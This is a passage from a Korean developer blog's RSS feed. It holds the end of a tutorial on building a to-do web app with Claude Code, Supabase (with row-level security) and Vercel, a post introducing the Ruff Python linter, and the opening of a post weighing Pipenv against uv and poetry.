&lt;h4&gt;Supabase 프로젝트 생성&lt;/h4&gt;
&lt;p&gt;Supabase 대시보드에서 프로젝트를 만들면 바로 사용할 수 있는 것들이 생깁니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PostgreSQL 데이터베이스&lt;/strong&gt; — 테이블 만들면 자동으로 REST API 생성&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Auth&lt;/strong&gt; — 이메일, Google, GitHub 로그인 내장&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Storage&lt;/strong&gt; — 파일 업로드/다운로드&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Realtime&lt;/strong&gt; — 데이터 변경 시 실시간 동기화&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;별도의 백엔드 서버 없이, 프론트엔드에서 직접 Supabase를 호출하는 구조입니다.&lt;/p&gt;
&lt;h4&gt;환경 변수 설정&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# .env.local&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;NEXT_PUBLIC_SUPABASE_URL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;https://xxxxx.supabase.co
&lt;span class=&quot;token assign-left variable&quot;&gt;NEXT_PUBLIC_SUPABASE_ANON_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;eyJhbGciOiJIUzI1NiIs&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3단계: 개발 — Claude Code가 코드를 쓴다&lt;/h3&gt;
&lt;p&gt;여기서부터 Claude Code의 진가가 발휘됩니다.&lt;/p&gt;
&lt;h4&gt;DB 테이블 설계&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;Supabase에 할 일 관리용 테이블을 만들어줘.
사용자별로 할 일을 관리하고, 카테고리 분류가 가능해야 해.&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude Code가 SQL을 작성합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- categories 테이블&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;create&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;table&lt;/span&gt; categories &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  id uuid &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; gen_random_uuid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;primary&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  user_id uuid &lt;span class=&quot;token keyword&quot;&gt;references&lt;/span&gt; auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;users&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;on&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;delete&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;cascade&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  name &lt;span class=&quot;token keyword&quot;&gt;text&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  created_at timestamptz &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- todos 테이블&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;create&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;table&lt;/span&gt; todos &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  id uuid &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; gen_random_uuid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;primary&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  user_id uuid &lt;span class=&quot;token keyword&quot;&gt;references&lt;/span&gt; auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;users&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;on&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;delete&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;cascade&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  category_id uuid &lt;span class=&quot;token keyword&quot;&gt;references&lt;/span&gt; categories&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  title &lt;span class=&quot;token keyword&quot;&gt;text&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  completed &lt;span class=&quot;token keyword&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  created_at timestamptz &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- RLS(Row Level Security) 활성화&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;alter&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;table&lt;/span&gt; todos &lt;span class=&quot;token keyword&quot;&gt;enable&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;row&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;level&lt;/span&gt; security&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;alter&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;table&lt;/span&gt; categories &lt;span class=&quot;token keyword&quot;&gt;enable&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;row&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;level&lt;/span&gt; security&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- 본인 데이터만 접근 가능&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;create&lt;/span&gt; policy &lt;span class=&quot;token string&quot;&gt;&quot;Users can manage own todos&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;on&lt;/span&gt; todos &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;all&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; user_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;create&lt;/span&gt; policy &lt;span class=&quot;token string&quot;&gt;&quot;Users can manage own categories&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;on&lt;/span&gt; categories &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;all&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; user_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Supabase의 &lt;strong&gt;RLS(Row Level Security)&lt;/strong&gt; 는 꼭 설정해야 합니다. 안 그러면 모든 사용자가 다른 사람의 데이터를 볼 수 있습니다.&lt;/p&gt;
&lt;h4&gt;프론트엔드 구현&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;Next.js App Router 구조로 할 일 목록 페이지를 만들어줘.
Supabase에서 데이터 가져오고, 추가/삭제/완료 토글 기능이 필요해.&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude Code가 컴포넌트, API 호출, 상태 관리까지 한 번에 작성합니다. 저는 결과를 확인하고, 수정이 필요한 부분만 피드백합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;완료된 할 일은 아래쪽으로 내려가게 해줘.&quot;
&quot;카테고리 필터 버튼 추가해줘.&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이런 식으로 &lt;strong&gt;대화하면서 개발을 진행&lt;/strong&gt;합니다. 코드를 직접 쓰는 시간보다, 원하는 동작을 설명하는 시간이 더 깁니다.&lt;/p&gt;
&lt;h3&gt;4단계: 버전 관리 — GitHub으로 기록&lt;/h3&gt;
&lt;p&gt;개발 중간중간 커밋을 남깁니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; commit &lt;span class=&quot;token parameter variable&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;feat: todo CRUD 기능 구현&quot;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; push origin main&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude Code에게 &lt;code class=&quot;language-text&quot;&gt;/commit&lt;/code&gt; 명령어를 사용하면 변경 내용을 분석해서 적절한 커밋 메시지까지 작성해줍니다.&lt;/p&gt;
&lt;h3&gt;5단계: 배포 — Vercel 또는 GitHub Pages&lt;/h3&gt;
&lt;p&gt;Next.js 프로젝트라면 Vercel에 연결하는 게 가장 간단합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Vercel에 GitHub 저장소 연결&lt;/li&gt;
&lt;li&gt;환경 변수(Supabase URL, Key) 설정&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;git push&lt;/code&gt;만 하면 자동 배포&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;AI 개발의 핵심 — 사람과 AI의 역할 분담&lt;/h2&gt;
&lt;p&gt;제가 경험한 AI 기반 개발의 핵심은 &lt;strong&gt;역할 분담&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;내가 하는 일&lt;/th&gt;
&lt;th&gt;Claude Code가 하는 일&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;무엇을 만들지 결정&lt;/td&gt;
&lt;td&gt;어떻게 만들지 설계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;요구사항 설명&lt;/td&gt;
&lt;td&gt;코드 작성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;결과 확인 및 피드백&lt;/td&gt;
&lt;td&gt;수정 및 개선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;최종 판단&lt;/td&gt;
&lt;td&gt;대안 제시&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;비유하자면, 저는 &lt;strong&gt;건축주&lt;/strong&gt;이고 Claude Code는 &lt;strong&gt;건축가&lt;/strong&gt;입니다. 건축주가 &quot;3층짜리 카페를 짓고 싶어요&quot;라고 말하면, 건축가가 도면을 그리고 시공합니다. 건축주가 벽돌을 쌓을 필요는 없습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Supabase vs Firebase — 백엔드 서비스 비교&lt;/h2&gt;
&lt;p&gt;백엔드 서비스는 여러 선택지가 있습니다. 비교해봤습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;서비스&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;th&gt;적합한 경우&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Supabase&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PostgreSQL 기반, 오픈소스, REST/GraphQL 자동 생성&lt;/td&gt;
&lt;td&gt;관계형 데이터, SQL 선호&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Firebase&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;NoSQL(Firestore), Google 생태계&lt;/td&gt;
&lt;td&gt;빠른 프로토타이핑, 모바일 앱&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PocketBase&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Go 기반 단일 바이너리, 셀프호스팅&lt;/td&gt;
&lt;td&gt;가벼운 프로젝트, 직접 서버 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;제가 Supabase를 선택한 이유는 세 가지입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SQL을 쓸 수 있다&lt;/strong&gt; — NoSQL보다 익숙하고, 복잡한 쿼리가 가능합니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;무료 티어가 넉넉하다&lt;/strong&gt; — 개인 프로젝트에 충분한 용량&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Claude Code와 궁합이 좋다&lt;/strong&gt; — SQL과 REST API를 AI가 잘 다룹니다&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;AI 웹개발 실전 팁 3가지&lt;/h2&gt;
&lt;h3&gt;Supabase RLS는 반드시 설정하세요&lt;/h3&gt;
&lt;p&gt;Supabase는 기본적으로 프론트엔드에서 직접 DB를 호출합니다. RLS 없이 배포하면 &lt;strong&gt;누구나 API로 모든 데이터에 접근할 수 있습니다.&lt;/strong&gt; 이건 실수가 아니라 보안 사고입니다.&lt;/p&gt;
&lt;h3&gt;Claude Code에게 컨텍스트를 충분히 주세요&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 나쁜 예
&quot;로그인 기능 만들어줘&quot;

# 좋은 예
&quot;Supabase Auth를 사용해서 이메일/비밀번호 로그인 기능을 만들어줘.
Next.js App Router 구조이고, 로그인 후 /dashboard로 리다이렉트해야 해.
미인증 사용자가 /dashboard에 접근하면 /login으로 보내줘.&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;구체적으로 설명할수록, 수정 횟수가 줄어듭니다.&lt;/p&gt;
&lt;h3&gt;Git 커밋은 자주 하세요&lt;/h3&gt;
&lt;p&gt;AI와 개발하면 코드가 빠르게 바뀝니다. 중간중간 커밋하지 않으면, 문제가 생겼을 때 되돌릴 지점이 없습니다. &quot;동작하는 상태&quot;가 확인될 때마다 커밋하는 습관을 들이세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;코딩을 몰라도 AI로 웹서비스를 만들 수 있나요?&lt;/h3&gt;
&lt;p&gt;기본적인 웹 개념(HTML, API 등)을 이해하면 충분합니다. Claude Code가 코드를 작성하고, 여러분은 &quot;무엇을 만들지&quot; 설명하는 역할입니다. 다만, 결과물을 검토하고 디버깅할 때 기초 지식이 있으면 훨씬 수월합니다.&lt;/p&gt;
&lt;h3&gt;이 조합으로 개발하면 비용이 얼마나 드나요?&lt;/h3&gt;
&lt;p&gt;Supabase 무료 티어(500MB DB, 1GB 스토리지), Vercel 무료 플랜, GitHub 무료 저장소를 사용하면 &lt;strong&gt;호스팅 비용은 0원&lt;/strong&gt;입니다. Claude Code 구독 비용만 발생합니다. 개인 프로젝트나 사이드 프로젝트에는 충분한 수준입니다.&lt;/p&gt;
&lt;h3&gt;Claude Code 말고 다른 AI 코딩 도구도 사용할 수 있나요?&lt;/h3&gt;
&lt;p&gt;GitHub Copilot, Cursor 등 다른 AI 코딩 도구도 비슷한 프로세스로 활용할 수 있습니다. 다만 Claude Code는 프로젝트 전체 맥락을 이해하고 대화 기반으로 개발을 진행할 수 있다는 점에서 이 프로세스에 가장 잘 맞습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;정리하면, AI를 이용한 웹서비스 개발 프로세스는 이렇습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;기획&lt;/strong&gt; — Claude Code와 대화하며 구조 설계&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;셋업&lt;/strong&gt; — GitHub 저장소 + Supabase 프로젝트 초기화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;개발&lt;/strong&gt; — Claude Code가 코드 작성, 나는 피드백&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;관리&lt;/strong&gt; — GitHub으로 버전 관리&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;배포&lt;/strong&gt; — Vercel 연결 후 자동 배포&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;핵심은 &lt;strong&gt;&quot;코드를 직접 쓰는 것&quot;에서 &quot;무엇을 만들지 설명하는 것&quot;으로 역할이 바뀐다&lt;/strong&gt;는 점입니다.&lt;/p&gt;
&lt;p&gt;개발 경험이 많으면 더 정확한 지시를 할 수 있고, 경험이 적어도 AI와 대화하면서 배워갈 수 있습니다. 어느 쪽이든, 혼자 처음부터 끝까지 코딩하던 시대와는 확실히 다릅니다.&lt;/p&gt;
&lt;p&gt;여러분은 AI와 함께 어떤 서비스를 만들어보고 싶으신가요? 댓글로 알려주세요!&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/overview&quot;&gt;Claude Code 공식 문서&lt;/a&gt; — Anthropic의 AI 코딩 에이전트 소개 및 사용법&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://supabase.com/docs&quot;&gt;Supabase 공식 문서&lt;/a&gt; — 데이터베이스, 인증, 스토리지 설정 가이드&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vercel.com/docs&quot;&gt;Vercel 공식 문서&lt;/a&gt; — Next.js 배포 및 환경 변수 설정&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/docs/app&quot;&gt;Next.js App Router 가이드&lt;/a&gt; — App Router 구조와 라우팅&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Ruff를 이용한 python 코드 품질 관리]]></title><description><![CDATA[Ruff 소개 최근 Python 개발자들 사이에서 Ruff가 많은 주목을 받고 있습니다. Ruff는 Python…]]></description><link>https://blog.javapark.kr/ruff/</link><guid isPermaLink="false">https://blog.javapark.kr/ruff/</guid><pubDate>Sun, 28 Jan 2024 11:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Ruff 소개&lt;/h2&gt;
&lt;p&gt;최근 Python 개발자들 사이에서 Ruff가 많은 주목을 받고 있습니다. Ruff는 Python 코드의 품질을 향상시키는 데 도움이 되는 강력한 린트 도구입니다. 린트는 코딩 스타일, 프로그래밍 오류, 버그, 복잡한 구조 등을 분석하여 개선 방향을 제시하는 소프트웨어 도구입니다. Ruff는 빠른 성능과 사용 편의성으로 인해 많은 Python 개발자들에게 선택받고 있습니다.&lt;/p&gt;
&lt;h2&gt;Ruff의 장점&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;빠른 성능&lt;/strong&gt;: Ruff는 다른 린트 도구보다 빠른 분석 속도를 제공합니다. 이는 대규모 프로젝트에서도 효율적으로 사용할 수 있음을 의미합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사용 용이성&lt;/strong&gt;: 설치 및 구성이 간단하며, 쉽게 사용할 수 있는 명령어 인터페이스를 제공합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자동화&lt;/strong&gt;: Ruff는 코드 작성 과정에서 자동으로 문제를 탐지하고 수정 제안을 합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Ruff 설치 및 사용&lt;/h2&gt;
&lt;h3&gt;설치 방법&lt;/h3&gt;
&lt;p&gt;Ruff는 Python의 패키지 관리자인 pip를 통해 쉽게 설치할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;pip &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; ruff&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;사용 방법&lt;/h3&gt;
&lt;p&gt;Ruff를 사용하여 프로젝트의 코드를 분석하는 것은 매우 간단합니다. 터미널에서 다음 명령을 실행하기만 하면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;ruff path/to/your/code&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;VS Code에서의 Python 코딩&lt;/h2&gt;
&lt;p&gt;Visual Studio Code (VS Code)는 다양한 프로그래밍 언어를 지원하는 인기 있는 코드 편집기입니다. Python 개발에도 매우 적합하며, Ruff와 같은 도구를 통합하여 사용할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;VS Code 설정&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Python 확장 설치&lt;/strong&gt;: VS Code의 마켓플레이스에서 Python 확장을 설치합니다. 이 확장은 Python 개발에 필요한 다양한 기능을 제공합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ruff 통합&lt;/strong&gt;: Ruff는 VS Code의 설정을 통해 Python 개발 환경에 쉽게 통합될 수 있습니다. 이를 통해 코드를 작성하는 동안 실시간으로 피드백을 받을 수 있습니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Python 코딩 예제&lt;/h3&gt;
&lt;p&gt;다음은 VS Code에서 Python 코드를 작성하고 Ruff를 사용하여 코드 품질을 관리하는 간단한 예제입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 예제 코드&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;example_function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
    y &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

example_function&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 코드를 VS Code에서 작성하고 Ruff를 실행하면, Ruff는 코드 스타일과 구조상의 문제를 지적해 줄 것입니다. 예를 들어, 함수 내의 변수와 연산자 사이의 공백, 함수 정의와 호출 사이의 공백 등을 조정할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;이러한 방식으로 Ruff와 VS Code를 활용하면 Python 개발 과정에서 코드 품질을 지속적으로 관리하고 개선할 수 있습니다. 더 나은 코드 품질로 안정적이고 효율적인 Python 애플리케이션 개발을 지향하는 개발자들에게 이러한 도구는 매우 유용합니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Pipenv 현실 점검 — 2026 현재 써야 할까? (uv·poetry 와 비교)]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "Pipenv 쓰고 계신가요?  돌려놓고 커피 한 잔 마시고 와도 아직 끝나 있지 않은 그 답답함, 저도 겪어봤습니다." 결론부터 말씀드리면 — pipenv 는 202…]]></description><link>https://blog.javapark.kr/pipenv/</link><guid isPermaLink="false">https://blog.javapark.kr/pipenv/</guid><pubDate>Sun, 28 Jan 2024 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Pipenv 쓰고 계신가요? &lt;code class=&quot;language-text&quot;&gt;pipenv lock&lt;/code&gt; 돌려놓고 커피 한 잔 마시고 와도 아직 끝나 있지 않은 그 답답함, 저도 겪어봤습니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;pipenv 는 2026 현재 여전히 &quot;동작&quot;은 합니다. 하지만 신규 프로젝트에 권장하긴 어렵습니다.&lt;/strong&gt; 2024~2025 를 거치며 커뮤니티의 무게 중심은 완전히 &lt;strong&gt;uv(Astral)&lt;/strong&gt; 와 &lt;strong&gt;poetry&lt;/strong&gt; 쪽으로 이동했고, pipenv 는 사실상 &quot;레거시 유지&quot; 단계에 들어섰습니다.&lt;/p&gt;
&lt;p&gt;그렇다고 이 글이 &quot;pipenv 욕하는 글&quot;은 아닙니다. 아직도 pipenv 로 돌아가는 프로젝트는 많고, 당장 바꿀 수 없는 현실도 이해합니다. 그래서 이번 글에서는:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pipenv 가 어떤 문제를 풀려고 태어났는지 (역사적 맥락)&lt;/li&gt;
&lt;li&gt;2026 현재 유지보수 상태가 정말 어떤지&lt;/li&gt;
&lt;li&gt;기본 사용법 (레거시 프로젝트 유지보수용 레퍼런스)&lt;/li&gt;
